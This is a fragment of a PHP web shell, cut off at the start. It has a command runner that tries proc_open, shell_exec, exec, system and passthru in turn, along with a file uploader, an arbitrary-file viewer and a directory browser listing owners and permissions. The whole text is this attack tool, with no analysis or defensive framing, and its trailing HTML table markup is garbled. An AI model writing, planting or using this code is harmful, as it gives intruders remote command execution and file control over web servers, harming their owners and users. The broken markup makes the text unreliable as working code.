=1073741824)return nf($b/1073741824).' GB';if($b>=1048576)return nf($b/1048576).' MB';if($b>=1024)return nf($b/1024).' KB';return $b.' B';} function getOwner($p){$u=@fileowner($p);if($u===false)return'—';if(function_exists('posix_getpwuid')){$i=posix_getpwuid($u);return $i?hsc($i['name']):$u;}return $u;} function runCmd($cmd){ $out='';$err='';$mt=''; if(function_exists('proc_open')){$ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=proc_open($cmd,$ds,$pp);if(is_resource($p)){$out=stream_get_contents($pp[1]);$err=stream_get_contents($pp[2]);fclose($pp[1]);fclose($pp[2]);proc_close($p);$mt='proc_open';}} elseif(function_exists('shell_exec')){$out=(string)shell_exec($cmd.' 2>&1');$mt='shell_exec';} elseif(function_exists('exec')){exec($cmd.' 2>&1',$lines);$out=implode("\n",$lines);$mt='exec';} elseif(function_exists('system')){ob_start();system($cmd.' 2>&1');$out=ob_get_clean();$mt='system';} elseif(function_exists('passthru')){ob_start();passthru($cmd.' 2>&1');$out=ob_get_clean();$mt='passthru';} return['out'=>$out,'err'=>$err,'mt'=>$mt];} date_default_timezone_set(date_default_timezone_get()); $S=dirname(realpath(__FILE__)); foreach($_GET as $k=>$v)$_GET[$k]=y($v); $D=safePath(isset($_GET['d']) && $_GET['d']!=='' ? $_GET['d'] : $S, $S); if(!@chdir($D)){$D=$S;@chdir($D);} $sm='';$vr=''; if($_SERVER['REQUEST_METHOD']==='POST'){ if(isset($_FILES['fileToUpload'])){ $t=$D.'/'.basename($_FILES['fileToUpload']['name']); $sm=move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$t) ?'
'.hsc($_POST['cmd_input']).' '.$r['mt'].''.$lbl.''.$cnt.'
'.hsc($_POST['view_file']).''.hsc(file_get_contents($f)).'
| Name | Owner | Size | Modified | Perms | Actions |
|---|---|---|---|---|---|
=$isdir?'📁':'📄'?> =hsc($v)?>DIR';?> |
=$ow?> | =$sz?> | =$mtime?> | =$perm?> |